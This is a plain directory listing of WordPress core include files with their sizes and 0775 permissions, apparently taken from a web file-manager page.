default-filters.php File 37.02 KB 0775
default-widgets.php File 2.24 KB 0775
deprecated.php File 188.13 KB 0775
embed-template.php File 338 B 0775
embed.php File 38 KB 0775
error-protection.php File 4.02 KB 0775
feed-atom-comments.php File 5.38 KB 0775
feed-atom.php File 3.05 KB 0775
feed-rdf.php File 2.61 KB 0775
feed-rss.php File 1.16 KB 0775
feed-rss2-comments.php File 4.04 KB 0775
feed-rss2.php File 3.71 KB 0775
feed.php File 23.03 KB 0775
fonts.php File 9.56 KB 0775
formatting.php File 346.43 KB 0775
functions.php File 281.84 KB 0775
functions.wp-scripts.php File 14.95 KB 0775
functions.wp-styles.php File 8.44 KB 0775
general-template.php File 168.95 KB 0775
global-styles-and-settings.php File 20.71 KB 0775
http.php File 25.27 KB 0775
https-detection.php File 5.72 KB 0775
https-migration.php File 4.63 KB 0775
kses.php File 81.72 KB 0775
l10n.php File 67.18 KB 0775
link-template.php File 156.36 KB 0775
load.php File 55.19 KB 0775
locale.php File 162 B 0775
media-template.php File 61.72 KB 0775
media.php File 216 KB 0775
meta.php File 65 KB 0775
ms-blogs.php File 25.24 KB 0775
ms-default-constants.php File 4.81 KB 0775
ms-default-filters.php File 6.48 KB 0775
ms-deprecated.php File 21.25 KB 0775
ms-files.php File 2.79 KB 0775
ms-functions.php File 89.69 KB 0775
ms-load.php File 19.42 KB 0775
ms-network.php File 3.69 KB 0775
ms-settings.php File 4.11 KB 0775
ms-site.php File 40.74 KB 0775
nav-menu-template.php File 25.38 KB 0775
nav-menu.php File 43.33 KB 0775
option.php File 102.57 KB 0775
pluggable-deprecated.php File 6.18 KB 0775
pluggable.php File 124.45 KB 0775
plugin.php File 35.65 KB 0775
post-formats.php File 6.94 KB 0775
post-template.php File 67.04 KB 0775
post-thumbnail-template.php File 10.62 KB 0775
post.php File 289.13 KB 0775
query.php File 36.23 KB 0775
registration-functions.php File 200 B 0775
registration.php File 200 B 0775
rest-api.php File 98.29 KB 0775
revision.php File 30.02 KB 0775
rewrite.php File 19.03 KB 0775
robots-template.php File 5.06 KB 0775
rss-functions.php File 255 B 0775
rss.php File 22.66 KB 0775
script-loader.php File 150.38 KB 0775
script-modules.php File 9.68 KB 0775
session.php File 258 B 0775
shortcodes.php File 23.49 KB 0775
sitemaps.php File 3.16 KB 0775
speculative-loading.php File 8.4 KB 0775
spl-autoload-compat.php File 441 B 0775
style-engine.php File 7.39 KB 0775
taxonomy.php File 172.91 KB 0775
template-canvas.php File 544 B 0775
template-loader.php File 3.84 KB 0775
template.php File 35.97 KB 0775
theme-i18n.json File 1.49 KB 0775
theme-previews.php File 2.84 KB 0775
theme-templates.php File 6.09 KB 0775
theme.json File 8.71 KB 0775
theme.php File 131.84 KB 0775
update.php File 37.45 KB 0775
user.php File 173.89 KB 0775
utf8.php File 7.09 KB 0775
vars.php File 6.41 KB 0775
version.php File 1.08 KB 0775
widgets.php File 69.46 KB 0775
wp-db.php File 445 B 0775
wp-diff.php File 799 B 0775
Filemanager